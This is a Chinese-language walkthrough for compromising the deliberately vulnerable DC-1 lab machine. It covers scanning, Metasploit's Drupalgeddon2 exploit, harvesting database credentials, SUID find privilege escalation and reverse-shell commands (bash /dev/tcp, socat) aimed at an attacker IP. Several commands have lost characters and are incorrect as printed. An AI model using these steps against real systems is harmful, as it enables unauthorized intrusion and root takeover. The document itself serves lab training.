1. 项目概述与核心价值最近在带新人入门渗透测试发现很多朋友在从理论转向实战时面对一个完整的靶机往往无从下手。DC-1这个经典靶机就像渗透测试领域的“新手村”它把Web渗透、服务枚举、漏洞利用、权限提升这些核心环节都串了起来而且路径相对固定非常适合用来建立完整的攻击链思维。我这次带大家复现的不仅仅是跟着步骤走一遍更重要的是拆解每一步背后的“为什么”——为什么要用这个工具为什么这个参数这么写遇到报错该怎么排查这些才是教程里不会写但实际干活时能救命的经验。DC-1靶机本身是一个故意存在多个漏洞的Linux环境最终目标是拿到最高权限root并找到所有的flag文件。整个流程会用到Kali Linux中的一系列工具从最基础的信息收集Nmap开始到Web目录扫描Dirb, Gobuster利用CMS漏洞Drupal再到最后的权限提升find命令的SUID提权。这个过程模拟了一次相对完整的黑盒测试对于理解渗透测试的基本方法论非常有帮助。无论你是安全专业的学生还是想转行安全开发的工程师跟着这个流程走一遍都能对“黑客”到底在做什么有个清晰、具体的认识而不是停留在电影里的模糊概念。2. 环境准备与靶机搭建2.1 Kali Linux 攻击机配置要点工欲善其事必先利其器。Kali Linux是我们的攻击平台但刚装好的Kali可能并不“顺手”。首先就是源的问题。官方源在国内访问速度可能不理想直接影响后续的工具安装和更新。我个人的习惯是换成国内的镜像源比如阿里云或中科大的源。操作很简单用你喜欢的编辑器如nano或vim修改/etc/apt/sources.list文件将里面的官方源地址替换成镜像源地址。注意换源后务必执行sudo apt update来更新软件包列表但先不要急着upgrade。对于渗透测试环境盲目升级有时会导致某些工具版本不兼容尤其是像Metasploit这类框架。我的建议是除非某个工具因版本问题无法运行否则保持当前稳定状态即可。另一个关键配置是网络。我们需要让Kali和靶机处于同一个网络段才能相互通信。在VMware或VirtualBox中最常用的就是“桥接模式”或“NAT模式”。如果是在个人电脑上做实验我推荐用“NAT模式”它会在宿主机上虚拟出一个网络比如192.168.xx.xx让虚拟机和宿主机处于一个内网简单省事。如果是在公司内网或者需要模拟更真实的网络环境可以用“桥接模式”这样你的Kali会像一台真实设备一样获取到所在物理网络的IP。这里有个小坑在校园网等使用802.1X认证的网络环境下桥接模式可能无法直接获取IP这时候通常只能选择NAT模式。2.2 DC-1靶机获取与启动DC-1靶机可以从VulnHub官网免费下载它是一个OVA格式的虚拟机文件。下载后直接在你的虚拟机软件VMware Workstation或VirtualBox中“打开”或“导入”这个OVA文件即可。导入过程基本是全自动的虚拟机的网络配置、硬件设置都已经预设好了。导入成功后启动DC-1靶机。它的启动过程会像一台真正的服务器一样在命令行界面滚动输出启动信息。你不需要知道它的登录密码因为我们正是要通过渗透的手段从外部进入。靶机启动完成后它就会在网络上静默运行等待我们的探测。此时回到你的Kali Linux。我们需要先找出靶机的IP地址。由于我们还不知道靶机IP一个常用的方法是使用netdiscover或arp-scan工具进行二层网络扫描。打开Kali终端输入sudo netdiscover -r 192.168.1.0/24这里的-r 192.168.1.0/24指定了扫描的网段你需要根据你自己虚拟网络的实际网段进行修改。如果使用默认的NAT模式网段通常是192.168.xx.0/24。扫描结果中你会看到除了你宿主机和Kali自己之外的IP地址那个很可能就是DC-1靶机。记下这个IP地址我们后续的所有操作都将针对这个IP展开。3. 信息收集与目标侦察3.1 端口扫描与服务识别拿到靶机IP假设为192.168.1.105后第一步就是“敲门”看看它对外开放了哪些门端口以及每扇门后是什么服务服务类型和版本。这里的主力工具是Nmap。新手可能会直接nmap 192.168.1.105但这只扫描最常见的1000个端口。对于靶机我们最好进行一次全面扫描。我常用的命令组合是sudo nmap -sS -sV -O -p- 192.168.1.105我来拆解一下这个命令-sS: 这是TCP SYN扫描一种半开放扫描。它发送SYN包如果收到SYN-ACK回复就认为端口开放然后立刻发送RST断开而不完成完整的TCP三次握手。这种方式比全连接扫描-sT更快、更隐蔽。-sV: 版本探测。Nmap会尝试与开放的端口通信分析其响应从而判断运行的是什么服务及其具体版本号如Apache 2.4.38, OpenSSH 7.9p1。知道版本号对于后续搜索漏洞至关重要。-O: 操作系统探测。通过分析TCP/IP协议栈的指纹来猜测目标运行的操作系统。这对于寻找系统层面的漏洞有帮助。-p-: 这个参数代表扫描所有65535个端口确保没有遗漏任何隐蔽服务。扫描完成后你会得到一份报告。对于DC-1典型的结果会显示开放了80端口HTTP服务和22端口SSH服务。80端口告诉我们这是一个网站是我们的主攻方向22端口SSH是潜在的备用入口或提权后的持久化通道。3.2 Web应用初步探测与目录枚举既然有80端口我们自然要打开浏览器访问http://192.168.1.105看看。DC-1的首页通常会显示一个网站很可能是一个内容管理系统CMS。通过查看网页源代码、HTTP响应头或者使用浏览器插件如Wappalyzer我们可以快速识别出它使用的是Drupal。知道是Drupal后我们的思路就清晰了寻找Drupal的已知漏洞或者寻找它的后台登录入口、配置文件等。这时我们需要对网站目录进行暴力枚举寻找隐藏的路径。Kali里常用的工具有dirb,gobuster,dirsearch。我更喜欢用gobuster因为它速度较快且支持多种模式。针对Web目录扫描命令如下gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txtdir: 指定模式为目录扫描。-u: 指定目标URL。-w: 指定字典文件。/usr/share/wordlists/dirb/common.txt是Kali自带的常用目录字典。运行后工具会尝试字典中的每一个路径如/admin,/config,/backup并根据HTTP状态码如200成功403禁止404未找到来判断该路径是否存在。扫描结果中你可能会发现像/user,/admin,/modules,/themes等典型的Drupal目录。其中/user和/admin尤其值得关注它们可能是后台登录入口。4. 漏洞利用与初始访问4.1 Drupal漏洞分析与利用通过目录枚举我们找到了/user或/user/login这样的登录页面。面对登录框常规思路是尝试弱口令爆破。但对于DC-1这个教学靶机它更可能存在的是一处已知的Drupal远程代码执行漏洞例如著名的DrupalgeddonCVE-2018-7600。这个漏洞允许攻击者在未授权的情况下通过特制的请求在服务器上执行任意代码。我们不必从零开始编写利用代码Kali中的Metasploit Framework (MSF)已经集成了相关模块。打开MSFmsfconsole在msf6的提示符下我们搜索Drupal相关漏洞search drupal在列出的模块中寻找与远程代码执行RCE相关的exploit模块例如exploit/unix/webapp/drupal_drupalgeddon2。使用该模块use exploit/unix/webapp/drupal_drupalgeddon2接着我们需要设置模块所需的参数set RHOSTS 192.168.1.105 set RPORT 80RHOSTS是目标IPRPORT是目标端口Web服务默认80。设置完成后可以输入show options确认。最后执行攻击run或者exploit如果漏洞存在且利用成功Metasploit会尝试建立一个反向Shellreverse shell。这意味着它会在靶机上执行一段代码让靶机主动连接到我们Kali上指定的一个监听端口从而给我们返回一个命令行交互界面。这是获取初始立足点initial foothold的关键一步。4.2 建立稳定Shell与初步探索Metasploit成功利用后我们通常会得到一个基础的Shell。但这个Shell可能不太稳定例如按CtrlC会中断会话功能也可能受限。因此我们通常需要将其升级为一个完全交互式的TTY Shell。首先在当前的MSF会话中我们可以尝试使用Python来获取一个更友好的Shell。在靶机的Shell里输入python -c import pty; pty.spawn(/bin/bash)如果靶机安装了Python这条命令会模拟一个终端环境让我们可以使用Tab补全、方向键等。接下来我们需要进行初步的信息收集了解我们当前在靶机里的位置和权限。执行以下命令whoami: 查看当前用户名。很可能是一个Web服务用户如www-data。pwd: 查看当前所在目录。通常会在Web根目录如/var/www。id: 查看当前用户的用户IDUID、组IDGID以及所属的所有组。uname -a: 查看系统内核版本信息为后续可能的本地提权做准备。find / -name *flag* 2/dev/null: 寻找包含“flag”字样的文件。2/dev/null的作用是将错误信息如权限不足丢弃只显示成功找到的结果。在DC-1中第一个flag文件flag1.txt通常就放在Web根目录下其内容会给出下一步的提示。5. 权限提升与最终攻陷5.1 横向移动与信息深度收集拿到第一个flag后根据其提示通常会指引你去查看配置文件我们需要在靶机内部进行“横向移动”即利用已获取的权限去发现更多的敏感信息为获取更高权限铺路。常见的敏感信息位置包括Web配置文件如Drupal的sites/default/settings.php。这个文件里很可能包含数据库的连接密码。我们可以用cat命令查看cat /var/www/html/sites/default/settings.php在文件中搜索$databases数组你会找到MySQL数据库的用户名和密码。数据库用找到的数据库密码我们可以连接MySQL。在靶机Shell里执行mysql -u dbuser -p输入密码后就进入了数据库命令行。可以查看有哪些数据库 (show databases;)查看Drupal相关的表通常是drupal库重点查看users表里面存储了网站用户的密码哈希。Drupal的密码哈希可以通过工具如hashcat进行破解但DC-1靶机设计上更可能是在这里找到第二个flag或者直接找到管理员的密码哈希甚至可能是明文密码。历史命令与配置文件检查当前用户的家目录/home/下的目录查看.bash_history文件或者查看/etc/passwd和/etc/shadow需要root权限来发现其他用户。5.2 SUID提权原理与Find命令利用在Linux中有一种特殊的文件权限叫SUIDSet User ID。当某个可执行文件被设置了SUID位那么任何用户在执行这个文件时都会以该文件所有者的权限来运行。如果这个文件的所有者是root并且这个程序本身存在逻辑缺陷或能被我们操控我们就可以利用它来获取root权限。查找系统中设置了SUID位的文件命令如下find / -perm -us -type f 2/dev/null这条命令的意思是从根目录/开始查找所有权限模式中包含“设置用户ID”-perm -us的普通文件-type f并丢弃所有错误信息。在返回的列表中一个非常经典且常见的SUID程序就是find。find命令功能强大其中一个参数-exec允许我们在找到文件后执行任意命令。这就给我们留下了利用空间。利用find命令提权的经典方式如下find / -name anyfile -exec /bin/bash -p \;或者更简洁的find . -exec /bin/bash -p \;-exec: 对匹配的文件执行后面的命令。/bin/bash -p: 启动一个bash shell。-p参数是关键它告诉bash保留preserve当前的权限环境即继承find命令因SUID而获得的root权限。\;: 是-exec参数的结束符需要对分号进行转义。执行上述命令后如果find确实具有SUID权限且属于root那么我们就会获得一个具有root权限的bash shell。此时再执行whoami会显示root标志着我们成功实现了权限提升。5.3 获取最终Flag与清理痕迹成为root后整个靶机就完全在我们的控制之下了。我们可以去读取只有root才能访问的文件比如/root目录下的最终flag文件可能是flag4.txt或final.txt。cat /root/finalflag.txt至此DC-1靶机的核心渗透流程就完成了。从外部信息收集到Web漏洞利用获得初始Shell再到内部信息搜集发现数据库凭证最后利用SUID位的find命令完成提权这是一条非常经典和清晰的路径。实操心得在实际渗透测试或CTF比赛中find提权是“必考科目”。但除了find还有很多其他常见的SUID程序可以用于提权比如vim,nmap旧版本,bash某些版本,more,less等。养成拿到Shell后第一时间检查SUID文件的习惯能大大提高提权效率。可以使用命令find / -perm -4000 2/dev/null来快速查找。6. 常见问题与排查技巧实录6.1 网络连通性问题问题现象Kali中ping不通靶机IP或者Nmap扫描不到任何端口。排查步骤1检查虚拟机网络设置。确保Kali和DC-1靶机都连接到同一个虚拟网络如VMnet8/NAT模式。在VMware中可以在虚拟机设置里查看和修改。排查步骤2检查靶机是否已完全启动。有些靶机启动较慢尤其是第一次启动时。确保在靶机虚拟机窗口中看到登录提示符或系统完全启动完毕。排查步骤3检查防火墙。虽然靶机通常关闭防火墙但Kali自身的防火墙有时会开启。可以临时关闭Kali防火墙测试sudo ufw disable。排查步骤4使用arp-scan进行二层确认。如果ping不通但网络配置没错可以用sudo arp-scan -l扫描本地网络看是否能发现靶机的MAC地址。如果能发现说明链路层是通的可能是三层IP配置问题。6.2 Metasploit漏洞利用失败问题现象运行exploit后返回Exploit failed或没有建立会话。排查步骤1确认模块与目标匹配。再次用show info命令仔细查看所选漏洞模块的详细描述确认它适用于我们目标Drupal的确切版本。DC-1可能使用较老的Drupal 7版本。排查步骤2检查参数设置。反复确认RHOSTS和RPORT设置正确。有时需要设置TARGETURI参数如果Drupal不是安装在网站根目录的话。排查步骤3尝试其他利用模块。用search drupal多尝试几个相关的exploit模块比如exploit/multi/http/drupal_drupageddon等。不同模块的利用方式可能略有不同。排查步骤4手动验证漏洞。可以退出MSF尝试使用独立的Python漏洞利用脚本可在GitHub上搜索相关CVE的利用脚本进行测试有时能获得更详细的错误信息。6.3 获取的Shell不稳定或无响应问题现象成功得到Shell但无法输入命令或者一按CtrlC就断开。解决方案1升级为完全交互式TTY。如前所述使用Python的pty模块是首选。如果Python不可用可以尝试其他方法# 方法1: 使用socat (需要在Kali上监听靶机上传或内置socat) # Kali: socat file:tty,raw,echo0 tcp-listen:4444 # 靶机: socat exec:bash -li,pty,stderr,setsid,sigint,sane tcp:你的KaliIP:4444 # 方法2: 使用简单的bash反弹 (适用于有/dev/tcp支持的bash) # 靶机: bash -c bash -i /dev/tcp/你的KaliIP/4444 01 # Kali: nc -lvnp 4444解决方案2使用MSF的后期管理模块。在MSF获得一个基础会话session后可以将其迁移到更稳定的进程中。首先在MSF中sessions -l列出会话然后sessions -i [会话ID]进入。之后输入run post/multi/manage/shell_to_meterpreter这个模块会尝试将简单的Shell升级为功能更强大的Meterpreter会话后者通常更稳定且自带文件上传下载、键盘记录等更多功能。6.4 Find提权命令执行无效问题现象执行find . -exec /bin/bash -p \;后没有返回root shell或者报错。排查步骤1确认find是否具有SUID权限。务必先执行find / -perm -us -type f 2/dev/null | grep find来确认/usr/bin/find或/bin/find确实在列表中。排查步骤2检查bash路径。有些系统的bash路径可能是/usr/bin/bash用which bash命令确认。排查步骤3尝试不同的exec语法。有时需要更精确的路径和参数/usr/bin/find / -name anything -exec /bin/bash -p \;排查步骤4考虑使用其他SUID程序。如果find利用失败立即转向检查列表中的其他程序。例如如果存在SUID的vim可以尝试vim -c :!/bin/sh如果存在旧版nmap交互模式可以尝试nmap --interactive然后!sh。6.5 数据库连接失败问题现象在靶机Shell里使用找到的密码无法连接MySQL。排查步骤1确认服务运行。执行netstat -tulpn | grep 3306或ps aux | grep mysql查看MySQL服务是否真的在运行。靶机可能没有启动MySQL或者使用了其他数据库如SQLite。排查步骤2确认连接参数。仔细检查settings.php文件确认数据库主机localhost、数据库名、用户名和密码。有时密码可能包含特殊字符在命令行中输入时需要注意转义或者用单引号包裹。排查步骤3尝试本地Socket连接。如果MySQL只允许Socket连接而非TCP可以尝试mysql -u username -p database_name而不指定主机。排查步骤4直接查看数据库文件。如果Drupal使用了SQLite数据库文件可能就在sites/default目录下文件名类似database.sqlite。可以使用sqlite3命令直接打开查看sqlite3 database.sqlite然后使用.tables和SELECT语句进行查询。